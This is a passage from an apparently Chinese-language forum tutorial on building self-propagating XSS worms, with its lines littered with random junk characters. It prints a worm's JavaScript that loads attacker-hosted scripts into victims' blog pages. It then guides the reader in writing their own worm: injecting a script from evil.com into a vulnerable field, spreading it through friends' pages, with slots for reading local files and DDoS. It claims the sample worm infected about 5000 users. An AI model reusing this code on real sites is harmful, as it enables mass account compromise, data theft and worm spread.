6 o3 P# R% k' g! J' Tfunction get_my_testself(){8 E3 }4 y* q1 Q! S- s. E- ~8 n5 x
: A9 u: o$ b0 |! K6 M# c1 T3 S for(i=0;i<myblogid.length;i++){ //获得blogid的值% ]+ h; j% G4 G( Q. E) L+ f
6 q* `, t8 S$ a' `
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
2 _( G" I( s8 C6 }( w) Y0 u+ m6 u9 G8 U8 r! O& v
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
6 w8 P- m5 z- k2 d7 G' @
3 t7 [6 y+ D) h* t if(xhr2){ //如果成功2 t" `2 c [8 [
7 S6 @7 v4 ~" I7 s9 Q
xhr2.open("GET",url,false); //打开上面的那个url6 p+ X4 c( z( L0 r+ J
T" t% R+ l1 u" r( e# H; W
xhr2.send();/ W* ?. c2 Y4 W4 p: |
x- d% s1 h; V! P- G guest2=xhr2.responseText;" h" u0 N7 x7 c% O2 w! S6 q! E2 M8 N
- S3 M7 w/ D z
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?, E& D3 U8 i: \# Q$ ^. |
4 X4 g5 U- ]) T' ]9 b8 C/ G var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
% |$ D1 R' n, U0 i, x
, s+ ^2 Z: W7 L; {! z+ _7 r. M* _ if(mycheckmydoit!="-1"){ //返回-1则代表没找到. z: g$ w! L6 Q9 v' \0 ?* a
- F7 `8 O; z8 Q8 \: M
targetblogurlid=myblogid; , g" V4 s. i4 J
6 b( P7 Y2 r; h4 H. |
add_jsdel(visitorID,targetblogurlid,gurl); //执行它# A% M: A7 H) }3 C3 C/ j( @7 @. ~
9 `) w# c3 p. c) ~- q* Z
break;( E. y, ?8 @8 u- T; k
0 M" z' V( k( S q# x$ v& F- n3 ?& r- e }$ I" x: n% E5 W& @+ x
, S' p# {% u0 O7 l- G R1 M
if(mycheckit=="-1"){* B# |$ y' g3 Q, O! v0 P @( W
* C+ s# }; O e% T/ { A
targetblogurlid=myblogid;5 v0 P. O" E, P4 f
) Y0 b( R# g+ \) b: \ add_js(visitorID,targetblogurlid,gurl); //执行它
3 F7 l3 ]- F; z. O$ c/ v7 j3 i( f7 ^/ C8 S) |) [' z
break;
3 m6 t8 e5 y* }' _* s/ R
% [2 ^3 e/ t @% f* o3 _ }( z: I+ b: o; O. r" o5 ?0 o( H
4 Z0 J6 [5 O. g& Q' Q% k0 r' H
} . N2 }( r' e+ T2 W$ N2 U8 h& ]
% Q0 w6 |. A1 H0 t V% h}
8 d5 _# T! C( ? I! T
5 j# H" L, B7 ^}: y+ O |7 n. n' |$ E8 h1 u
, w' q- ~% N3 V; H3 w$ F! H8 b g* j8 {9 p' K6 l1 a
3 o1 E1 f' l+ t9 ?! w! Z6 ?2 `
//--------------------------------------
1 E3 S; ^ a# @' Q9 @# Q$ H N1 z5 N# H$ q( C% a$ y
//根据浏览器创建一个XMLHttpRequest对象. R6 i$ ?) K$ W( F
$ T9 w8 x7 F" ]1 U* R: d8 z2 ffunction createXMLHttpRequest(){
A8 o$ H4 P( G; z7 {6 f' g
4 n9 t( L; v; @+ E1 `% ?0 M var XMLhttpObject=null; 0 e; B5 z; `0 t' v+ i4 a
! `9 W L! Q6 Q5 Z. B6 d
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
! D' M4 M e2 r5 U' I' ?* v4 v2 [6 G
else
- {" Z$ E. D9 N8 y. w6 m9 ~" A- {7 Z: m& q
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
+ f9 r. s ]. }, T& S
" ^6 ]: i- w* T3 F for(var i=0;i<MSXML.length;i++) ' v j9 q# ], Q; X6 N1 }5 u. m7 G0 L
9 t/ G' O O2 D! O { ! n1 b- r7 a& g+ S2 E# c f2 m( U
0 _" ?6 X* d2 C' V1 E, T: _
try ! ^1 L3 }6 ?! f1 M5 J, A4 s
' z! i3 X t {! c, Y
{
/ z1 ^8 B2 c }; H
- t+ Y9 R; P! _% Q. _/ [$ l XMLhttpObject=new ActiveXObject(MSXML);
: ?- {0 p) J$ C" J& X7 g% R3 H5 U1 @2 ?) _$ j
break;
7 q" V n v' s& u2 ]
. ?; `( {2 t* ]5 g } 4 z' g- S' E1 B7 \% A
1 D8 `2 _: z% V x" a% i
catch (ex) { 5 |' G* j. d1 Y: x, y, G
; M3 K `4 s2 {( d }
: i0 L2 v7 f# z3 y& e# W# T% ]! e1 P
7 [; |) Y1 `( m9 r! b }
( p2 p, F. H' \
* Q9 T# T, u) V& Q8 Z$ [/ k- I }
3 ?; y6 L. ]& h8 Y6 z8 s) l! H9 i( Z2 Q
0 M$ }& C; J6 L: w) Areturn XMLhttpObject;2 P2 w( v3 Z& ]! |" w
+ d7 U/ M2 v u2 `
} " ~; k2 Q, X9 o) l' X) N
. F7 ]( L7 d. j) u' t2 q: d2 D2 b- E5 b, J) u! Y% I0 I5 j
2 s% b' r9 F! P T
//这里就是感染部分了! s: L! _& n7 k4 q4 Z" y: p
+ S: B" |/ H9 f( r, e
function add_js(visitorID,targetblogurlid,gurl){
8 H! C* j$ k3 c( q2 _$ D3 a* S m, w9 Y$ f. Q: {* M: V
var s2=document.createElement('script');
6 @7 ]" \1 r8 g* ^( Y# `
0 v f, [4 o9 y6 i2 Y, I7 _. @s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();, K& i. u a( B3 a1 h4 Y7 _4 h
. |) ^3 b( c& c) ?
s2.type='text/javascript';
7 W" s F* y8 n3 y, U4 f+ P5 z! g7 t1 n$ w S) h" P; q
document.getElementsByTagName('head').item(0).appendChild(s2);3 z) h/ U/ a* B9 J0 n' F$ f8 `5 c
1 Q$ m) k7 y4 ?. Z l
}
6 g( Q' {* o! R( e: r) V: h* O9 W. R* X/ Q5 I0 p
; o: z2 v' G5 ], C; o$ Y) }
, U% @4 [3 X, ]& c M4 w$ G" ~
function add_jsdel(visitorID,targetblogurlid,gurl){2 ?2 {; r, Q' G# e# `3 o
~, Z+ L& [# R& C$ ]9 W6 i( d
var s2=document.createElement('script');5 w" L% ~3 i3 H( V k
* D* r0 E9 G$ N( j! j9 d- q7 gs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
* K& P* Z) |# X- c# F& S9 q; K& I8 r7 }& @( C& N
s2.type='text/javascript';( ^" e: |3 X, ` N" L3 v8 Y
, m1 n4 t1 ~8 v7 ?" T1 p" f
document.getElementsByTagName('head').item(0).appendChild(s2);6 z3 ?7 F% R1 K2 ^( F( m8 t! u+ q
+ h3 s2 U0 G+ E- W: {
}
~ J( V9 K# p9 D7 d+ j8 M& w复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
) r+ P3 m4 T( K0 c/ n: P1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
- b' [' G% C% g9 T0 {( i9 R9 u
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
3 s& `4 B1 e' H& U6 I9 X3 l/ I, N' ~& V3 T. f
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
/ |4 ? Q8 C4 |0 o
: S! n; c; U7 D. `' s3 N- S) b: ^$ J- K$ u _
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.( z, [4 ?3 }# T* z* F
2 Q* d U0 L5 ?+ _7 l$ ^$ x: D5 ]
首先,自然是判断不同浏览器,创建不同的对象var request = false;' s& m) ~; t! v D9 u
* [. j" `7 [: R, Kif(window.XMLHttpRequest) {
) k9 {5 X+ G( [+ q& P- |, L6 q3 J3 [: p ^( V, H
request = new XMLHttpRequest();
" O+ K" E' c+ j0 m3 G
" R% ~2 v# n2 c1 c+ tif(request.overrideMimeType) {8 d. M2 p8 e& i6 k0 Y! O
8 Z/ r5 ?1 n/ P) n
request.overrideMimeType('text/xml');
2 r# G7 I8 r# m$ O: ^8 Z! U' d# s4 A6 s2 ? G1 u. X
}/ H" T$ ~% ?& W8 K- P2 h
# B; {- `9 F7 t) c5 T \+ K} else if(window.ActiveXObject) {
$ v2 I, q7 @' Q
8 p& O* d3 m6 K( G/ P1 ^5 {var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];5 w3 S3 |. V$ C
( c; c4 V1 j9 Q4 k5 e: i* Y7 Yfor(var i=0; i<versions.length; i++) {
( d1 W+ |- i, u% T! [4 \/ z+ V( R1 o! ?' G4 z
try {. C& s' y3 B( f, ?- `2 R
6 X: v, o! }# H& y' D; _
request = new ActiveXObject(versions);
# S: T5 D5 V6 ~/ i; M% a! o, C- J s7 t, ~, W/ y7 N x$ |& w; X- x4 n
} catch(e) {}4 ^" z$ ?( ^$ V u. `) V2 l: P2 n6 k
3 k1 l# m" X" b}
) U* T! ^7 L C1 } V0 c0 k$ b9 f% e' z& p8 q; s7 o/ v; r+ U# H" V
}
% H4 X! p! l! l, J: V! `9 o( _; y+ K2 w, {3 C7 H
xmlHttpReq=request;
3 c6 }3 b0 e% c, M复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){8 T# S' C- U w2 ]4 {
9 ?4 h6 n, h8 J% I( `
var Browser_Name=navigator.appName; M) c) b7 \, v. T/ M
% C4 x5 t6 J% a' G' S) a" R4 p" C
var Browser_Version=parseFloat(navigator.appVersion);
9 t* ~) e" G( V- [# R, m
% T1 i6 x$ U$ c/ f% Z var Browser_Agent=navigator.userAgent;
3 _6 V3 \# Z4 K5 T- h
) R0 K" n! j8 R; V4 m$ } b
* g( v5 w- g4 @- W6 R9 c* ?5 R8 E$ k: X- O" X, U0 g& s4 H, i# |; `
var Actual_Version,Actual_Name;
6 U6 K7 F9 [5 h0 s
% I8 Z6 d, t7 s: {9 w $ q& m7 ^% D; U, K2 A* m" K
3 f+ ~1 X- T, u$ {/ N7 N1 G
var is_IE=(Browser_Name=="Microsoft Internet Explorer");: I2 N& ]( F* R! ~# }
# n3 t' T P. Z+ I
var is_NN=(Browser_Name=="Netscape");
0 I/ b% x* J. J6 d* x3 j+ N& b- B4 ~/ r
var is_Ch=(Browser_Name=="Chrome");
q; Y6 I* Y ^2 @( S6 X* q! M
, S3 P4 H- E& D$ `
3 g3 W- v; C) Y6 i+ {- b$ z, L
, m( ~! s' p* y/ } if(is_NN){1 S5 `0 M; J3 `- x" j
; n4 V/ ^6 r* `8 W0 P3 p$ ?
if(Browser_Version>=5.0){
0 N3 n2 `% j7 i0 R a0 x) n0 v7 d5 u3 @* [: H
var Split_Sign=Browser_Agent.lastIndexOf("/");
* v4 T$ U6 k7 l& C) W: M4 w3 c9 n* P! o, H8 ]
var Version=Browser_Agent.indexOf(" ",Split_Sign);
" f4 Y/ O4 W, Q
/ N; ?0 {) v" A0 H var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
6 p5 ^- M4 u5 ^- L3 w# p0 a/ M2 Q& O: ^( t% u( Z! C- K
0 E6 X# N( d, p0 y- ?* c# r; V* P8 l
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
3 g# x0 V* r" A4 V4 L7 A- v+ w- Y) |5 R5 d3 F: T F
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
4 L$ W& I# O1 ~; J$ p9 K: G7 h0 p& k* |$ l# ?# S( X
}
, A' o; r! I, s" \1 G" ~
0 I6 F' r4 d% n4 O& J3 b% o- ` else{
1 u0 |7 P* L4 g% m% o! \! x( A I2 v7 N2 f d
Actual_Version=Browser_Version;3 Y) e9 N# a+ R1 A' `+ w. E
% T. {( C+ z( K0 a3 ] Actual_Name=Browser_Name;
7 W2 F. [+ `9 L( B; h0 d* v5 b5 Z: J! K- y
}
* g8 c/ }. O9 n8 E9 E
# i2 z0 R. ]' D) E5 N: c$ C }# ?2 Q7 X/ l- G/ ^& d0 T
* a* P/ h L% m( b; F# o j4 B9 _ else if(is_IE){& q G% G; e( F% \* S
5 Y7 c8 ]- M) @* N2 w: M
var Version_Start=Browser_Agent.indexOf("MSIE");/ e4 d( }4 ^5 x
" i# n$ `% c% I) K/ j var Version_End=Browser_Agent.indexOf(";",Version_Start);2 K8 ]7 C9 I1 e& D5 v+ d: H
# J- x3 S* b9 k) B& [3 n1 k/ z7 v Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)8 K: }! n; D, h- }! h
& r0 [) a4 M% T& a1 C8 A
Actual_Name=Browser_Name;1 p6 J# L! E3 u2 P3 y7 n2 O
! H! e* n( l: u, }( _( M
. I% A( n. D6 g" S' `7 M- x
; c6 D: \: G5 V6 D7 A if(Browser_Agent.indexOf("Maxthon")!=-1){6 ]) O' w6 e) S
7 p" ], L# V8 L Actual_Name+="(Maxthon)";
# p/ c* P- a6 z/ }* _" j
+ m; I$ H7 K. S0 [2 X; n }
: m2 s; r' d' w% O/ y8 s4 [6 h' N/ ^
else if(Browser_Agent.indexOf("Opera")!=-1){' K' |% ?4 i+ a4 k& c
: c% c3 I6 W5 `; U Actual_Name="Opera";6 U+ g" Y8 ^# q# ]; ~+ W
+ [" K- ?$ y) h$ h8 f0 }
var tempstart=Browser_Agent.indexOf("Opera");' F i6 D. @* ]
9 ^/ _+ l8 f5 P var tempend=Browser_Agent.length;
$ w5 N. I$ h+ {/ h/ L) q8 u1 F5 F0 j' b8 F5 f/ Q& s( {: t* }
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
0 V+ I- _ T9 ]+ k O( ^+ Z3 E* y0 g: }2 c) N
}9 K0 k& G! ~4 y. X3 f
& l, N# ? {7 B: f& C" L
}+ _5 q/ C# A r$ ?' O
8 e c, \! J8 q" x
else if(is_Ch){- _- M$ w. B, ^2 m1 V
1 s; Z4 A# z" m- ]7 X var Version_Start=Browser_Agent.indexOf("Chrome");0 R3 e5 |3 ]' C) e2 P" G
- E: g4 u: M6 _7 y- S1 ^$ O var Version_End=Browser_Agent.indexOf(";",Version_Start);7 J F6 Q! K' B9 H' h" c
/ r& ~7 l; |5 V* R* c+ g; Y Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
% J: d. g- F0 [( I5 l, e
" A9 a' U9 p5 Y2 \6 K Actual_Name=Browser_Name;' U2 n2 Y5 T) d3 p1 G2 q# m1 r
* J7 {: O$ w5 l7 L% ? % p# \9 x8 }7 w7 O
5 Z B% \# p& D' d. x( h
if(Browser_Agent.indexOf("Maxthon")!=-1){8 B5 v6 t. k2 L% o4 B
( `$ H" a4 ?# B, {6 t' |+ q Actual_Name+="(Maxthon)";
7 _2 u3 ~1 k" O) }" C! h+ L: s0 k) I* H1 a& A
}: x8 v8 m1 y5 [2 ?- A
! ^: ]+ u. Y* D; H
else if(Browser_Agent.indexOf("Opera")!=-1){. q7 @' Z: o' F* d: H# e8 o, ?3 [; B
7 i! v* I+ g. Z- F ?5 q9 y7 M. U
Actual_Name="Opera";8 h/ T, a& a" N: q- g
( ^" ?- R. A- Y8 C% K- C' h6 _6 V
var tempstart=Browser_Agent.indexOf("Opera");/ `/ ]; r% C( H \0 J1 x
! l; J, ]' a; h2 C! | var tempend=Browser_Agent.length;9 R: l$ W, [8 h# J5 S, i# N
$ j% Y6 x. d; g! h/ Z/ m8 l" r Actual_Version=Browser_Agent.substring(tempstart+6,tempend)4 S, C) L5 T! N$ d% ~+ B( a
! \) c% b5 D J; J. G% N7 ^
}2 F- Y/ h9 ~' u! e
7 ]9 X- ^! B- D5 F1 V }% R4 `. H% {) @
! t2 O/ @3 [+ X7 Y0 i else{7 `7 M1 d! `" K: o5 N
5 G% m1 |2 w0 ]6 U; n' d1 x
Actual_Name="Unknown Navigator"
' M" {# ~$ w' r" w( P7 \8 C7 |/ R- B8 _( q& K7 A* d H1 e
Actual_Version="Unknown Version" y0 H$ ~& |* W, ?0 v& F6 t
' f) x7 y% o! ^( g1 J4 X. c }
& }$ v: n7 O+ y( F5 r9 {0 e1 Y# P$ N6 ?
. E- e# l% B* a( v
( b0 U: i' d4 A- d# B4 J
navigator.Actual_Name=Actual_Name;
. I% S3 z! a' f6 y5 b+ g) m$ K. l) d8 U' Q# I R2 a. P
navigator.Actual_Version=Actual_Version;
& Z( F) \* y0 ]% J6 v5 n/ o( K) g! m
$ A1 I# @' ?) |6 h. m7 O6 s! M& T; n$ @: U5 P
this.Name=Actual_Name;" y0 g* C' N! `6 \! Q
1 @$ i1 Q2 q7 W( Y this.Version=Actual_Version;
" Z3 \2 U# F X7 E
6 ^, s1 z* Q0 E3 z# l% P }5 ]* C; ?$ C/ I; K, l
" {/ X1 m8 @5 p3 O* ~# w browserinfo();
: p6 i, p R/ W4 @/ j3 h/ f2 J% _; r9 Q1 x+ C7 f
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
+ R" j, U8 b1 I4 e+ W# M5 j# ]/ A- N0 v" A7 S- \8 ^5 d' L6 ~
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}- n3 _: R2 v9 x5 `3 K- W$ j
: o! u6 d7 U" y7 u+ X' \1 K: H if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}& R/ c3 b% d4 v9 W& S" |/ z
Y! G3 t1 _8 H# u6 L5 ]( {
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}. |6 w Q! j" P$ m3 w
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
) `& N: w- x% H& h* @; w复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
( y7 \/ c- e& `复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
6 o+ H8 g2 d: j$ h0 E* F
c" R* z; C, zxmlHttpReq.send(null);: f9 G' D5 S) [7 t
0 N, n/ A) T" q
var resource = xmlHttpReq.responseText;
5 }: r- O4 w! Y" n9 ?( \' V; B E
9 V# C/ e! x6 {6 rvar id=0;var result;
$ |5 F: R8 f9 F: |& M: s% h
! |2 m# O- @# L& l8 n1 @) Y& Zvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
. o6 Q0 D/ U/ a: M
5 M) Y `* N. Z, O5 d5 \while ((result = patt.exec(resource)) != null) {
8 P' g: n4 d1 \' ^' l/ p" n0 R+ _' Q8 w3 G+ Q8 u- q" g- |; f
id++;" J0 b3 @( `3 J3 ~; k) K6 C! t
8 E3 s$ n. R! g
}) ]/ V6 `/ ~2 a4 @6 n8 T
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
# z# _" S( x/ C! c
( Y( C% c7 H, E- @7 [7 Rno=resource.search(/my name is/);: U5 k8 R4 Q9 o7 ^' G( C& T
. [) U9 n5 {0 {' a% d2 ?/ [2 k
var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.$ N9 V) \' D; w" X- ]
& C3 j. [) p- y# k) p1 N
var post="wd="+wd;
/ ]( l0 b- ~. _& P. G' \4 V" ?+ {) E3 B
xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
7 W+ E* [/ f; T/ H4 f# G2 e% \5 w
( Q$ n* N# v) ~2 R+ TxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
& m8 a+ F3 z- r9 B# f* a/ _ c) z2 p8 D/ b, x: E& W
xmlHttpReq.setRequestHeader("content-length",post.length);
% y4 f8 w) N; m& f
0 _% k* s: s* r# ]0 M( U" r2 z WxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
1 b o$ X4 r* ^
$ b$ p: V$ M0 G7 M4 l( r% `7 kxmlHttpReq.send(post);$ f! o) [7 ^1 T! c+ i, Y& u
4 z$ q4 l4 t8 W7 [& t- b$ ?
}
5 `5 S% B f: k% E5 H4 M复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
6 L. ^2 }9 a: b1 b$ ~2 o" O- J) _* H/ J+ N+ }
var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方4 {( ^, F6 g5 g% E. g
6 G$ B5 _& E* N& K& G
var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.) {1 C4 F; a4 N. l+ g* h2 _
+ g- _6 z/ L; M6 l1 P, ?! e1 E, T
var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
+ B: \- r# a9 i$ `- c; C, S( z
8 Z) G, v6 @+ ovar post="wd="+wd;
& |& x+ _ m3 I; d% @0 g6 [! D+ g% m/ c2 w0 Y
xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
* r/ M5 O8 A: K2 A4 z- f- L7 v) I6 e, F: n- C9 Q8 k! n
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
2 m+ f! X" A& c2 y! ?7 X
8 k! E+ N$ \$ I0 k7 ^xmlHttpReq.setRequestHeader("content-length",post.length); . F# E) \( U% \, O
4 C2 X) S3 W- G i" w
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
) }& j' Z$ H ]7 Q3 p2 S% K0 | M) w1 b. v X3 x, [
xmlHttpReq.send(post); //把传播的信息 POST出去.# Y$ Q8 i6 Z( |
6 S9 G* S4 V$ U7 j
}( O/ f) M4 ^- r+ V) P) z5 |
复制代码-----------------------------------------------------总结------------------------------------------------------------------- h8 {! m5 k( C' [9 W$ j' \
, E+ y+ F: j( A5 Q, `+ g4 S* t
; {% [1 X& G" [5 X7 m f
( l% }! \6 E- q! o" w* M本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
& h5 u$ |2 P9 C3 T# d3 H蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
; @* }6 d( ?5 y/ l操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.$ Z; S) B+ [. [8 [$ ]0 i. K
& r8 J- }) W3 q) g+ r2 n9 ^
" F8 m, ?' H! D" k& s
- B( u$ @6 W/ p5 ~
1 `# Q8 P6 Z; O% e6 |* v
. j7 ]+ d2 [1 W, m: G
5 X) i/ ~+ g" W* Z
C9 [- k/ ~( ?1 q- u
% [/ M7 ^% \: J5 x6 x+ ^0 f本文引用文档资料:* N f! L: g. H& L3 ^% i2 g* m: ~
8 N; {& S1 H F* X"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)" o7 {% o7 d, G' e" k
Other XmlHttpRequest tricks (Amit Klein, January 2003)
$ R! b; U: n8 s) y"Cross Site Tracing" (Jeremiah Grossman, January 2003)5 E" g% r+ Y: W! ?0 P" q
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog O1 P+ R6 t. o# d
空虚浪子心BLOG http://www.inbreak.net
: m' u) W- ?* E9 P T* [Xeye Team http://xeye.us/ G$ b7 b g+ q. H1 V
|